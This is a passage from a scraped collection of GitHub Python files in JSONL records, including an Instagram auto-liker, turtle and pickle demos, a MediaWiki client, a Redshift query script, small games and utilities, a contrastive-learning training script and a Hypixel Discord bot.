self.pw)\n\t\t\n\t\tform = self.browser.find_by_tag('form')\n\t\tinputs = form.find_by_tag('button')\n\t\tinputs[0].click()\n\n\t\t# need to sleep a few seconds here\n\t\ttime.sleep(5)\n\n\tdef likePosts(self):\n\t\tprint(\"liking posts\")\n\t\tlikeList = self.browser.find_by_text(\"Like\")\n\t\t\n\t\tif len(likeList) == 0:\n\t\t\tprint(\"nothing left to like. attempt to scroll farther to load more posts.\")\n\t\t\tself.scrollBy()\n\t\t\ttime.sleep(3)\n\t\t\tlikeList = self.browser.find_by_text(\"Like\")\n\t\t\tprint(\"likeList is now: \" + str(len(likeList)))\n\n\t\tif (len(likeList) > 0):\n\t\t\tprint(\"found \" + str(len(likeList)) + \" posts to like\")\n\t\t\t\n\t\t\tfor foo in likeList:\n\t\t\t\ttmpParentNode = foo.find_by_xpath(\"ancestor::article/header\")\n\t\t\t\tprint(tmpParentNode[\"innerText\"])\n\t\t\t\tif self.checkBlackList(tmpParentNode[\"innerText\"]) == 0:\n\t\t\t\t\tfoo.click()\n\t\t\t\t\tself.totalLikes += 1\n\t\t\t\t\ttime.sleep(1)\n\n\tdef checkBlackList(self, pString):\n\t\tfor foo in self.blackList:\n\t\t\tif foo in pString:\n\t\t\t\tprint(\"found blacklisted item '\" + foo + \"'\")\n\t\t\t\treturn 1\t\t\n\t\treturn 0\n\n\tdef scrollBy(self):\n\t\tprint(\"scrolling down.\")\n\t\tself.browser.execute_script( \"window.scrollBy(0,30000);\" )\n\t\ttime.sleep(1) \n\n\tdef boneyard(self):\n\t\tprint('boneyard')\n\t\t\n\n# kick off everything here\ninstaliker = InstaLiker()\ninstaliker.launchPage()\nprint(\"all done liking....for now.\")\n","repo_name":"mofostopheles/dev","sub_path":"python/instagram_bot/instagram_liker_v3.s.py","file_name":"instagram_liker_v3.s.py","file_ext":"py","file_size_in_byte":2308,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"23"} +{"seq_id":"43070061164","text":"# Ninja Twist (Turtle Graphics)\nimport turtle\nninja = turtle.Turtle()\nninja.speed(10)\nfor i in range(180):\n ninja.forward(100)\n ninja.right(30)\n ninja.forward(20)\n ninja.left(60)\n ninja.forward(50)\n ninja.right(30)\n ninja.penup()\n ninja.setposition(0, 0)\n ninja.pendown()\n ninja.right(2)\nturtle.done()\n\n# Python Persistence.\ndata={'a':'some_value',\n 'b':[9,4,7],\n 'c':['some_str','another_str','spam','ham'],\n 'd':{'key':'nested_dictionary'},\n }\n\n# Store Data\nimport pickle\nfile=open('filename','wb') #file object in binary write mode\npickle.dump(data,file) #dump the data in the file object\nfile.close() #close the file to write into the file\n\n# load data\nimport pickle\nfile=open('filename','rb') #file object in binary read mode\ndata=pickle.load(file) #load the data back\nfile.close()\nprint(data)\n\n\n# Function utility for save and load\nimport pickle\ndef save(filename,object):\n file=open(filename,'wb')\n pickle.dump(object,file)\n file.close()\ndef load(filename):\n file=open(filename,'rb')\n object=pickle.load(file)\n file.close()\n return object\nlist_object=[1,1,2,3,5,8,'a','e','o','u']\nsave(list_file, list_object)\nnew_list=load(list_file)\nprint(new_list)\n\n\n","repo_name":"SimonGideon/Journey-to-Pro","sub_path":"Turtle Graphics.py","file_name":"Turtle Graphics.py","file_ext":"py","file_size_in_byte":1231,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"23"} +{"seq_id":"74615917180","text":"\"\"\"MediaWiki API Call Class.\"\"\"\n\nimport json\n\nimport random\nimport requests\n\nimport config\n\n\nclass ApiMediaWiki:\n \"\"\"MediaWiki API Call Class.\n\n place : text ton analyze with api\n \"\"\"\n URL_API_MEDIAWIKI = config.URL_MEDIA_WIKI\n PARAM_SEARCH = config.PARAM_MEDIA_WIKI_SEARCH\n PARAM_PAGE = config.PARAM_MEDIA_WIKI_PAGE\n TEXT_UNKNOW_RANDOM = [\n 'Cet endroit ne me dis rien du tout, tu es sûr de ta question ?',\n 'Je ne connais pas du tout ce lieu...',\n 'COMMENT ???',\n 'Je n\\'entends plus très bien, mais ta question me semble bizarre !'\n ]\n TEXT_RESPONSE_RANDOM = [\n 'Oui, je me souviens très bien de {}, il y a {} juste à côté,',\n 'Ah {}, que de bons souvenirs, plus particulièrement {}',\n \"\"\"Ca fait bien longtemps, mais je me rappelle de {}\n comme si c\\'était hier. Je passais souvent à {}\"\"\",\n 'J\\'ai une anecdote sur {}, et surtout de mon passage à {}'\n ]\n\n APP_ERROR = config.APP_ERROR\n\n def __init__(self, place_to_find, lat, lng):\n self.place = place_to_find\n self.lat = lat\n self.lng = lng\n\n def get_data_from_wiki(self):\n \"\"\"Method called by the /query route.\n returns json :\n {response_grandpy,\n content_page,\n url_link_wiki}\n \"\"\"\n\n list_searchs = self.get_data_from_search()\n if list_searchs in self.APP_ERROR.values():\n response_grandpy = \"\"\n content_page = random.choice(self.TEXT_UNKNOW_RANDOM)\n url_link_wiki = \"#\"\n else:\n page_id = list_searchs[\"pageid\"]\n title = list_searchs[\"title\"]\n response_grandpy = self.get_random_text_response(self.place, title)\n content_page = self.get_data_from_page(page_id)\n url_link_wiki = self.get_url_wiki(title)\n\n return json.dumps({\n \"response_grandpy\": response_grandpy,\n \"content_page\": content_page,\n \"url_link_wiki\": url_link_wiki})\n\n def get_data_from_search(self):\n \"\"\"call the mediawiki API search with the place in parameter and return\n a list of pages corresponding to the place .\n [\n {\n \"ns\": 0,\n \"title\": \"Lieu\",\n \"pageid\": 123456,\n \"snippet\": \"homonymes,...\"\n }, ...\n \"\"\"\n try:\n params = self.PARAM_SEARCH\n # params[\"srsearch\"] = self.place\n params[\"gscoord\"] = \"{}|{}\".format(self.lat, self.lng)\n res = requests.get(url=self.URL_API_MEDIAWIKI, params=params)\n if res.status_code == 200:\n response = res.json()\n list_searchs = random.choice(response[\"query\"][\"geosearch\"])\n return list_searchs\n return self.APP_ERROR[\"api_mediawiki_ko\"]\n except requests.exceptions.RequestException:\n return self.APP_ERROR[\"api_mediawiki_ko\"]\n except KeyError:\n return self.APP_ERROR['api_mediawiki_bad_return']\n\n def get_data_from_page(self, page_id):\n \"\"\"calls the mediawiki API for the requested location page.\n returns content of page\"\"\"\n try:\n payload = self.PARAM_PAGE\n payload[\"pageids\"] = page_id\n res = requests.get(url=self.URL_API_MEDIAWIKI, params=payload)\n if res.status_code == 200:\n response = res.json()\n return response[\"query\"][\"pages\"][0][\"extract\"]\n return self.APP_ERROR[\"api_mediawiki_ko\"]\n except requests.exceptions.RequestException:\n return self.APP_ERROR[\"api_mediawiki_ko\"]\n\n def get_url_wiki(self, title):\n \"\"\"Returns the wikipedia link to display on the site.\"\"\"\n url = \"https://fr.wikipedia.org/wiki/{}\".format(\n title.replace(\" \", \"_\"))\n return url\n\n @classmethod\n def get_random_text_not_found(cls):\n \"\"\"Return a random sentence if API don't find the place.\"\"\"\n return random.choice(cls.TEXT_UNKNOW_RANDOM)\n\n def get_random_text_response(self, place, title):\n \"\"\"Return a random response from Grandpy\"\"\"\n response_grandpy = random.choice(self.TEXT_RESPONSE_RANDOM)\n str_begin = \"\"\n str_end = \"\"\n return response_grandpy.format(str_begin + place.title() + str_end,\n str_begin + title + str_end)\n","repo_name":"lemarak/OC_Projet7","sub_path":"grandpyapp/utils/apimediawiki.py","file_name":"apimediawiki.py","file_ext":"py","file_size_in_byte":4437,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"23"} +{"seq_id":"26810509496","text":"import boto3\nimport time\nimport json\n\n# Create a Redshift Data API client\nredshift_data_api_client = boto3.client('redshift-data')\n\n# Create a Secrets Manager client\nsecrets_manager_client = boto3.client('secretsmanager')\n\n# Define your cluster identifier, database name, and SQL command\ncluster_id = 'your-cluster-id'\ndatabase = 'your-database'\nsql_command = 'SELECT * FROM your_table'\n\n# Get the database credentials from Secrets Manager\nsecret_name = 'your-secret-name'\nresponse = secrets_manager_client.get_secret_value(SecretId=secret_name)\ncredentials = json.loads(response['SecretString'])\n\n# Start the execution of the SQL command\nresponse = redshift_data_api_client.execute_statement(\n ClusterIdentifier=cluster_id,\n Database=database,\n DbUser=credentials['username'],\n Sql=sql_command,\n SecretArn=credentials['arn'] # The ARN of the secret that enables access to the DB\n)\n\n# Get the SQL command execution ID\nid = response['Id']\n\n# Check the status of the SQL command execution\nwhile True:\n details = redshift_data_api_client.describe_statement(Id=id)\n status = details['Status']\n if status == 'FINISHED':\n break\n print('Waiting for SQL command execution to finish...')\n time.sleep(1) # Delay for 1 second\n\n# Get the result of the SQL command\nresults = redshift_data_api_client.get_statement_result(Id=id)\nfor row in results['Records']:\n print(row)\n","repo_name":"vignesh11slm/AWS-Linux-Scripts","sub_path":"rs-data.py","file_name":"rs-data.py","file_ext":"py","file_size_in_byte":1399,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"23"} +{"seq_id":"510896058","text":"# Given an integer n return true if its a power of two\n# Otherwise return false\n# Example1 n = 1, output = True, 2^0 = 1\n\n# If a number is odd besides 1 it is not a power of two\n# numbers that are even are not neccessarily powers of 2\n\nclass Solution():\n def isPowerOfTwo(self, n):\n\n # Check if the number is even\n # If it's not then the condition is automatically false\n if n % 2 != 0:\n return False\n\n # Need to create a loop to divide numbers by 2\n # Every number that's a power of two and is divided by 2 will evenbtually simplify to 1\n # If the number is one return True, else return false\n\n while n % 2 == 0:\n n = n / 2\n\n if n == 1:\n return True\n else:\n return False\n\n\nprint(Solution().isPowerOfTwo(4))\n","repo_name":"patricklauzon471/CodingProblems","sub_path":"PowerOfTwo.py","file_name":"PowerOfTwo.py","file_ext":"py","file_size_in_byte":818,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"23"} +{"seq_id":"33219321426","text":"import numpy as np\nimport sys\n\ndef GA_Setup():\n \"\"\" This module reads the GA setup.\n \"\"\"\n\n# Definition of the lists. Key names to look in the setup file\n itens = ['Generation', 'Population', 'Pmut', 'Pcross', 'Mating_Pool',\n 'Type', 'Blx_alpha','Var_Size','Variables'] \n \n# Here I store the values for each of the itens above.\n itens2 = ['Var_Lower','Var_Upper'] \n values = list() \n\n# Reading the setup\n f=open('.\\\\Input_Files\\\\ga_setup.inp','r')\n data = np.array([line.split() for line in f])\n f.close()\n\n# Attributing the values for each itens from the above described list.....\n for i in range(0,len(itens)):\n if filter(lambda x: itens[i] in x, data):\n values.append(data[i][2])\n\n values2 = list()\n for j in range(0,len(itens2)):\n for i in range(0,len(data)):\n if(itens2[j] == data[i][0]):\n values2.append(data[i][2:])\n #values2.append(filter(None, re.split('[, ]',data[i])))\n\n# Sanity Check...\n if(len(values2[0]) != len(values2[1])):\n sys.exit('Number of lower and upper range not equal.....')\n\n if(int(len(values2[0])) != int(values[-1])):\n sys.exit('Number of defined upper and lower range is different from \\\n the number of design variables.....')\n\n if ( int(values[1]) % int(values[4]) != 0):\n sys.exit('Population is not a multiple from Mating_Pool.')\n \n return values+values2\n","repo_name":"aantunes123/AircraftDesign","sub_path":"Optimization/GA_Setup.py","file_name":"GA_Setup.py","file_ext":"py","file_size_in_byte":1573,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"23"} +{"seq_id":"11126884138","text":"\"\"\"Module to provider util functions in all compass code\n\n .. moduleauthor:: Xiaodong Wang \n\"\"\"\nfrom copy import deepcopy\n\n\ndef merge_dict(lhs, rhs, override=True):\n \"\"\"Merge nested right dict into left nested dict recursively.\n\n :param lhs: dict to be merged into.\n :type lhs: dict\n :param rhs: dict to merge from.\n :type rhs: dict\n :param override: the value in rhs overide the value in left if True.\n :type override: str\n\n :raises: TypeError if lhs or rhs is not a dict.\n \"\"\"\n if not rhs:\n return\n\n if not isinstance(lhs, dict):\n raise TypeError('lhs type is %s while expected is dict' % type(lhs),\n lhs)\n\n if not isinstance(rhs, dict):\n raise TypeError('rhs type is %s while expected is dict' % type(rhs),\n rhs)\n\n for key, value in rhs.items():\n if (isinstance(value, dict) and key in lhs and\n isinstance(lhs[key], dict)):\n merge_dict(lhs[key], value, override)\n else:\n if override or key not in lhs:\n lhs[key] = deepcopy(value)\n\n\ndef order_keys(keys, orders):\n \"\"\"Get ordered keys.\n\n :param keys: keys to be sorted.\n :type keys: list of str\n :param orders: the order of the keys. '.' is all other keys not in order.\n :type orders: list of str.\n\n :returns: keys as list sorted by orders.\n\n :raises: TypeError if keys or orders is not list.\n \"\"\"\n\n if not isinstance(keys, list):\n raise TypeError('keys %s type should be list' % keys)\n\n if not isinstance(orders, list):\n raise TypeError('orders ^s type should be list' % orders)\n\n found_dot = False\n pres = []\n posts = []\n for order in orders:\n if order == '.':\n found_dot = True\n else:\n if found_dot:\n posts.append(order)\n else:\n pres.append(order)\n\n return ([pre for pre in pres if pre in keys] +\n [key for key in keys if key not in orders] +\n [post for post in posts if post in keys])\n\n\ndef is_instance(instance, expected_types):\n \"\"\"Check instance type is in one of expected types.\n\n :param instance: instance to check the type.\n :param expected_types: types to check if instance type is in them.\n :type expected_types: list of type\n\n :returns: True if instance type is in expect_types.\n \"\"\"\n for expected_type in expected_types:\n if isinstance(instance, expected_type):\n return True\n\n return False\n\n\ndef flat_lists_with_possibility(lists):\n \"\"\"Return list of item from list of list of identity item.\n\n :param lists: list of list of identity item.\n\n :returns: list.\n\n .. note::\n For each first k elements in the returned list, it should be the k\n most possible items. e.g. the input lists is\n ['a', 'a', 'a', 'a'], ['b', 'b'], ['c'],\n the expected output is ['a', 'b', 'c', 'a', 'a', 'b', 'a'].\n \"\"\"\n lists = deepcopy(lists)\n lists = sorted(lists, key=len, reverse=True)\n list_possibility = []\n max_index = 0\n total_elements = 0\n possibilities = []\n for items in lists:\n list_possibility.append(0.0)\n length = len(items)\n if length > 0:\n total_elements += length\n possibilities.append(1.0/length)\n else:\n possibilities.append(0.0)\n\n output = []\n while total_elements > 0:\n if not lists[max_index]:\n list_possibility[max_index] -= total_elements\n else:\n list_possibility[max_index] -= possibilities[max_index]\n element = lists[max_index].pop(0)\n output.append(element)\n total_elements -= 1\n max_index = list_possibility.index(max(list_possibility))\n\n return output\n","repo_name":"SysCompass/compass","sub_path":"compass/utils/util.py","file_name":"util.py","file_ext":"py","file_size_in_byte":3821,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"23"} +{"seq_id":"38227671032","text":"# -*- coding: utf-8 -*-\n\nimport sys, random, time\n\n\ndef numbers_range():\n # player chooses range of numbers to multiply\n num = input('Test start. Choose range of numbers to multiply(e.g.: 1-10): ')\n num = num.split('-')\n return list(map(int, num))\n\n \ndef list_to_str(nums: list) -> str:\n # changes list of numbers to operation in string\n nums = map(str, nums)\n return '*'.join(nums)\n \n \ndef random_operation(num1: int, num2: int) -> str:\n # creats random operation to solve\n nums = []\n for i in range(2):\n nums.append(random.randint(num1, num2))\n return list_to_str(nums)\n \n\ndef main():\n numbersRange = numbers_range()\n list_of_time = []\n for i in range(20):\n operation = random_operation(numbersRange[0], numbersRange[1])\n t1 = time.time()\n result = input(operation + ' = ')\n if int(result) == eval(operation):\n # saves user's time if result is good\n t2 = time.time()\n t = t2 - t1\n list_of_time.append(round(t, 2))\n else:\n print('Wrong answer')\n print(round(sum(list_of_time)/len(list_of_time), 2))\n with open('results\\\\results.txt', 'at') as results:\n print(str(numbersRange[0])+'-'+str(numbersRange[1])+'\\t'+str(len(list_of_time))+'\\t'+str(round(sum(list_of_time)/len(list_of_time),2)), file=results)\n \nif __name__ == '__main__': \n main()","repo_name":"kejkun1992/mini_projects","sub_path":"multiplication_in_memory/multi.py","file_name":"multi.py","file_ext":"py","file_size_in_byte":1420,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"23"} +{"seq_id":"28833755418","text":"from methods.models.Player import Player\nfrom methods.models.Characters import *\n\ndef main():\n PlayerList = []\n for i in range(0, 9):\n username = input('请输入第%d个玩家的姓名' % (i + 1))\n PlayerList.append(Player(i, username))\n room = PlayerList[0].CreateRoom(9)\n for i in range(1, 9):\n print(PlayerList[i].JoinRoom(room.RoomID))\n room.GiveCharacter()\n for player in room.Players.values():\n print('%d号玩家角色是:%s' % (player.ID, type(player.Character)))\n while True:\n Result = room.JudgeWin()\n if Result is not None:\n print(Result)\n break\n # 晚上\n NightDeath = []\n print('天黑请闭眼')\n input('回车键下一步')\n print('狼人请睁眼')\n input('回车键下一步')\n ID = input('狼人请选择击杀对象')\n if ID != '':\n ID = int(ID)\n NightDeath.append(ID)\n Werewolf.KillPerson(ID, room)\n print('狼人请闭眼')\n input('回车键下一步')\n print('女巫请睁眼')\n input('回车键下一步')\n print('你有一瓶解药是否要使用(若要使用请输入ID),你有一瓶毒药是否要使用(若要使用请输入ID)')\n if room.JudgeCharacterStatus(Witch) != 0:\n if len(NightDeath) != 0:\n for ID in NightDeath:\n print('%d死了' % ID)\n Antidote_Number, Poison_Number = room.CheckMedicine()\n choose = ''\n if Antidote_Number != 0:\n choose = input('输入是否要使用解药')\n if choose != '':\n choose = int(choose)\n room.FindCharacter(Witch).Save(choose, room)\n NightDeath.remove(choose)\n if Poison_Number != 0 and choose == '':\n choose = input('输入是否要使用毒药')\n if choose != '':\n choose = int(choose)\n room.FindCharacter(Witch).Poison(choose, room)\n NightDeath.append(choose)\n else:\n input('女巫已死亡请按任意键跳过')\n print('预言家请睁眼')\n input('回车键下一步')\n print('请选择你需要查验的人')\n if room.JudgeCharacterStatus(Seer) != 0:\n choose = int(input('输入ID'))\n print(Seer.Check(choose, room))\n else:\n input('预言家已死亡请按任意键跳过')\n input('回车键下一步')\n # 白天\n DayDeath = []\n if len(NightDeath) == 0:\n print('昨晚是平安夜')\n else:\n print('昨晚死的人是')\n for ID in NightDeath:\n print(ID)\n print('现在开始发言')\n input('回车键下一步')\n players = room.GetAllLive()\n for key in players:\n print('玩家%d请发言' % key)\n input('输入回车结束发言')\n print('请开始投票')\n input('回车键下一步')\n for key in players:\n print('玩家%d请投票' % key)\n ID = input('输入ID选择要投票的玩家')\n if ID != '':\n ID = int(ID)\n Character.Vote(ID, room)\n VotedPlayer = room.CalVote()\n VotedPlayer.Character.Life = 0\n DayDeath.append(VotedPlayer.ID)\n room.ClearVoteNumber()\n for id in NightDeath:\n if type(Character.FindCharacterByPlayerID(id, room)) == Hunter:\n print('猎人玩家%s请选择是否发动技能,如要发动请输入射杀的玩家ID' % room.Players[id].Username)\n id = input('玩家id')\n if id != '':\n id = int(id)\n DayDeath.append(id)\n Hunter.Shoot(id, room)\n print('ID:%d玩家死亡' % id)\n\n for id in DayDeath:\n if type(Character.FindCharacterByPlayerID(id, room)) == Hunter:\n print('猎人玩家%s请选择是否发动技能,如要发动请输入射杀的玩家ID' % room.Players[id].Username)\n id = input('玩家id')\n if id != '':\n id = int(id)\n DayDeath.append(id)\n Hunter.Shoot(id, room)\n print('ID:%d玩家死亡' % id)\n input('玩家%s请留遗言,按回车建结束' % VotedPlayer.Username)\n\nif __name__ == '__main__':\n main()","repo_name":"MichaelTang11/werewolf","sub_path":"MyWebPrj/methods/models/GameRun.py","file_name":"GameRun.py","file_ext":"py","file_size_in_byte":4505,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"23"} +{"seq_id":"69942566139","text":"from PIL import Image\nimport os\n\nfolder = 'assets/cards/11_EV2'\n\nfor filename in os.listdir(folder):\n if filename.endswith('.jpg') or filename.endswith('.png'):\n image = Image.open(f'{folder}/{filename}')\n image.thumbnail((image.size[0]/3, image.size[1]/3))\n image.save(f'{folder}/thumbnail/thumb_{filename}')","repo_name":"jrremlinger/Bakugan-Deck-Master","sub_path":"Python Scripts/resizeImages.py","file_name":"resizeImages.py","file_ext":"py","file_size_in_byte":333,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"23"} +{"seq_id":"32135870297","text":"import os\nimport spacy\nfrom spacy_cld import LanguageDetector\nimport pandas as pd\n\n\ndef parse_doc(nlp_detect, text):\n try:\n return nlp_detect(text)\n except Exception as e:\n print(e)\n return None\n\n\ndef has_more_languages(doc):\n try:\n return len(doc._.languages) == 2 and doc._.language_scores[doc._.languages[0]] < 0.8\n except Exception as e:\n print(e)\n return None\n\n\nnlp_detect = spacy.load('en_core_web_lg')\nnlp_detect.add_pipe(LanguageDetector())\naggregati_path = '/home/marco/Scrivania/tirocinio-unicredit/comunicati/aggregati'\ntot = 0\ndouble_langs = 0\ndouble_langs_files = []\nfor filename in os.listdir(aggregati_path):\n df = pd.read_csv(aggregati_path + '/' + filename, sep='|')\n for index, row in df.iterrows():\n tot += 1\n print(tot)\n doc = parse_doc(nlp_detect, row['text'])\n if has_more_languages(doc):\n double_langs += 1\n double_langs_files.append(filename)\nmiao = 0\n\n\nt1=t[0:int(len(t)/2)]\nt2=t[int(len(t)/2):]\ndoc1 = nlp_detect(t1)\ndoc2 = nlp_detect(t2)\nprint(doc1._.language_scores)\nprint(doc2._.language_scores)","repo_name":"marcomoauro/twitter","sub_path":"tmp/scripts.py","file_name":"scripts.py","file_ext":"py","file_size_in_byte":1134,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"23"} +{"seq_id":"1227590070","text":"from models.contrastive import SimSiam\nfrom models.augmentations import Augmentation\nfrom slask.superb import BinaryDataset\nfrom torch.utils.data import Subset, DataLoader\nimport pytorch_lightning as L\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport torch\nfrom torch import nn\nfrom pytorch_lightning.loggers import TensorBoardLogger, CSVLogger\nfrom pytorch_lightning.callbacks import ModelCheckpoint\nfrom pytorch_lightning import seed_everything\nfrom pathlib import Path\nfrom sklearn.model_selection import train_test_split\nfrom torchvision import models\nimport json\nimport argparse\nimport warnings\nimport time\nfrom tqdm import tqdm\nimport matplotlib\nmatplotlib.use('Agg')\n\nwarnings.filterwarnings(\"ignore\")\n\ndef main():\n \n parser = argparse.ArgumentParser(description='Train a PACBED model')\n\n CONFIG_PATH = './configs/data.json'\n BATCH_SIZE = 2\n N_WORKERS = 8\n TRAIN_FRACTION = 0.85\n LR = 1e-4\n MOMENTUM = 0.9\n WEIGHT_DECAY = 1e-2\n SEED = 42\n DEVICE = 'gpu'\n N_DEVICES = 1\n N_EPOCHS = 100\n BACKBONE = 'resnet34'\n LOG_DIR = './logs'\n LABEL_TYPE = 'binary'\n NAME = 'contrastive'\n SEVERITY = 0\n\n parser.add_argument('--source', type=str, default='/data/balder/datasets/superb/patients')\n parser.add_argument('--cfg', type=str, default=CONFIG_PATH)\n parser.add_argument('--batch_size', type=int, default=BATCH_SIZE)\n parser.add_argument('--n_workers', type=int, default=N_WORKERS)\n parser.add_argument('--train_fraction', type=int, default=TRAIN_FRACTION)\n parser.add_argument('--label_type', type=str, default=LABEL_TYPE)\n parser.add_argument('--lr', type=float, default=LR)\n parser.add_argument('--momentum', type=float, default=MOMENTUM)\n parser.add_argument('--weight_decay', type=float, default=WEIGHT_DECAY)\n parser.add_argument('--seed', type=int, default=SEED)\n parser.add_argument('--device', type=str, default=DEVICE)\n parser.add_argument('--n_devices', type=str, default=N_DEVICES)\n parser.add_argument('--n_epochs', type=int, default=N_EPOCHS)\n parser.add_argument('--backbone', type=str, default=BACKBONE)\n parser.add_argument('--log_dir', type=str, default=LOG_DIR)\n parser.add_argument('--name', type=str, default=NAME)\n parser.add_argument('--severity', type=int, default=SEVERITY)\n parser.add_argument('-s', '--resize_shape', nargs='+', type=int, default=None)\n parser.add_argument('-d', '--debug', type=bool, default=False)\n\n\n args = parser.parse_args()\n\n # Set seed\n seed_everything(args.seed) \n\n # Human readable time\n name = time.strftime(\"%Y%m%d-%H%M%S\")\n\n\n # Set up logging\n # Check if logging dir exists\n if not Path(args.log_dir).exists():\n Path(args.log_dir).mkdir(parents=True)\n\n # If debugging, do not log\n loggers = []\n callbacks = []\n if args.debug:\n print(\"Debugging, not logging\")\n else:\n \n csv_logger = CSVLogger(args.log_dir, name=args.name)\n tb_logger = TensorBoardLogger(args.log_dir, name=args.name)\n\n loggers = [csv_logger, tb_logger]\n\n model_dir = csv_logger.log_dir + \"/checkpoints\"\n checkpoint = ModelCheckpoint(model_dir, monitor='val_loss', save_top_k=2, mode='min')\n\n callbacks = [checkpoint]\n\n\n # Load data\n # Read config\n with open(args.cfg, 'r') as f:\n config = json.load(f)\n\n data_root = Path(args.source)\n removed_samples = config[\"removed\"]\n shape = config[\"min_shape\"] if not args.resize_shape else args.resize_shape\n dataset = BinaryDataset(data_root, shape, removed_samples, severity=args.severity, mode='severity', dtype=np.float32)\n \n # Only select the negative examples\n neg_idx = [i for i, (_, y) in enumerate(dataset) if y == 0]\n print(f\"Number of negative samples: {len(neg_idx)}\")\n\n subset = Subset(dataset, neg_idx)\n\n # Split into train and validation\n train_idx, val_idx = train_test_split(np.arange(len(subset)), train_size=args.train_fraction, shuffle=True, random_state=args.seed)\n \n train_dataset = Subset(subset, train_idx)\n validation_dataset = Subset(subset, val_idx)\n\n print(f\"Train set size: {len(train_dataset)}\")\n print(f\"Validation set size: {len(validation_dataset)}\")\n \n train_dataloader = DataLoader(train_dataset, batch_size=args.batch_size, num_workers=args.n_workers, shuffle=True)\n val_dataloader = DataLoader(validation_dataset, batch_size=args.batch_size, shuffle=False, num_workers=args.n_workers)\n\n # Set up model\n model = SimSiam()\n\n # Set up trainer\n trainer = L.Trainer(\n accelerator=args.device,\n max_epochs=args.n_epochs,\n logger=loggers,\n callbacks=callbacks)\n \n # Train\n trainer.fit(model, train_dataloader, val_dataloader)\n\nif __name__ == \"__main__\":\n\n main()","repo_name":"waahlstrand/superb","sub_path":"sse/contrastive.py","file_name":"contrastive.py","file_ext":"py","file_size_in_byte":5012,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"23"} +{"seq_id":"20460971712","text":"import asyncio\nimport json\nimport logging\nimport os\nimport traceback\nfrom datetime import datetime\nfrom urllib import parse\n\nimport discord\nimport motor.motor_asyncio\nfrom discord.ext import commands, tasks\nfrom pytz import timezone\n\nfrom cogs.server import LinkedServer\nfrom extras.hypixel import HypixelAPI, PlayerNotFoundException\nfrom extras.requesthandler import RequestHandler\n\nlogging.basicConfig(\n format=\"[%(asctime)s] [%(levelname)s:%(name)s] %(message)s\", level=logging.INFO\n)\n\n\nclass HypixelPlus(commands.AutoShardedBot):\n\n def __init__(self):\n super().__init__(\n command_prefix=[\"h+\"],\n case_insensitive=True,\n reconnect=True\n )\n\n with open('./data/settings.json') as settings:\n self.settings = json.load(settings)\n settings.close()\n\n uri = \"mongodb://bot:\" + parse.quote_plus(self.settings['bot_motor_password']) + \"@51.81.32.153:27017/admin\"\n self.motor_client = motor.motor_asyncio.AsyncIOMotorClient(uri)\n self.db = self.motor_client.hypixelPlusDB\n self.handler = RequestHandler(asyncio.get_event_loop())\n self.hypixelapi = HypixelAPI(self.settings['bot_api_key'], self.handler)\n self.logger = logging.getLogger(__name__)\n self.servers = {}\n self.logchannel = None\n self.est = timezone(\"US/Eastern\")\n\n self.owner = 404244659024429056\n self.uptime = datetime.now()\n\n self.theme = discord.Colour(15120192)\n self.rolecolours = {\n \"VIP\": discord.Colour(5635925),\n \"VIP+\": discord.Colour(5635925),\n \"MVP\": discord.Colour(5636095),\n \"MVP+\": discord.Colour(5636095),\n \"MVP++\": discord.Colour(16755200),\n \"Hypixel Helper\": discord.Colour(5592575),\n \"Youtuber\": discord.Colour(16733525),\n \"Hypixel Moderator\": discord.Colour(43520),\n \"Hypixel Admin\": discord.Colour(11141120)\n }\n\n async def log(self, msg):\n timestamp = datetime.now()\n await self.db.logs.insert_one({\"log\": msg, \"timestamp\": timestamp})\n\n async def on_message(self, message):\n if message.author.bot:\n return\n\n ctx = await self.get_context(message)\n await self.invoke(ctx)\n\n async def handle_error(self, ctx, error):\n newerror = getattr(error, 'original', error)\n\n ignored = (commands.CommandNotFound)\n if isinstance(newerror, ignored):\n return\n elif isinstance(newerror, commands.NoPrivateMessage):\n try:\n return await ctx.author.send(f'`{ctx.command.name}` cannot be used in Private Messages.')\n except:\n pass\n elif isinstance(newerror, commands.CommandOnCooldown):\n return await ctx.send(f'You can use that command again in `{round(error.retry_after, 2)}` seconds.')\n elif isinstance(newerror, PlayerNotFoundException):\n return await ctx.send('Player not found on Hypixel!')\n elif isinstance(newerror, commands.MissingRequiredArgument):\n msg = f\"*You're missing the parameter `{newerror.param}`!*\"\n embed, pic = await self.cogs['help'].get_command_help_embed(ctx.command.qualified_name)\n return await ctx.send(content=msg, embed=embed, file=pic)\n elif isinstance(newerror, commands.CheckFailure):\n return await ctx.send(\"Sorry, you aren't allowed to use that command.\")\n\n await self.log(str(newerror) + \"\\n\" + traceback.format_exc())\n await ctx.send(\"Internal error found. Sorry, please try again later! The developer has been notified.\")\n\n async def on_command_error(self, ctx, error):\n if hasattr(ctx.command, 'on_error'):\n return\n\n await self.handle_error(ctx, error)\n\n async def setup_servers(self):\n async for server in self.db.guilds.find():\n self.servers[server['discordid']] = LinkedServer(self, server)\n\n async def server_verified(self, discordid):\n return self.servers.get(discordid)\n\n async def on_ready(self):\n self.remove_command('help')\n if not self.cogs:\n await self.load_mods()\n\n await self.setup_servers()\n self.update_next_users.start()\n\n self.logger.info(\"Bot ready\")\n await self.log(\"Restarted\")\n self.logging.start()\n\n watch = discord.Activity(type=discord.ActivityType.watching, name=\"h+help | hyp.plus\")\n await self.change_presence(status=discord.Status.idle, activity=watch)\n\n async def load_mods(self):\n for ext in os.listdir('cogs'):\n try:\n if not ext.endswith(\".py\"):\n continue\n self.load_extension(f\"cogs.{ext.replace('.py', '')}\")\n self.logger.info(f\"Loaded {ext}\")\n except:\n self.logger.critical(f\"{ext} failed:\\n{traceback.format_exc()}\")\n\n 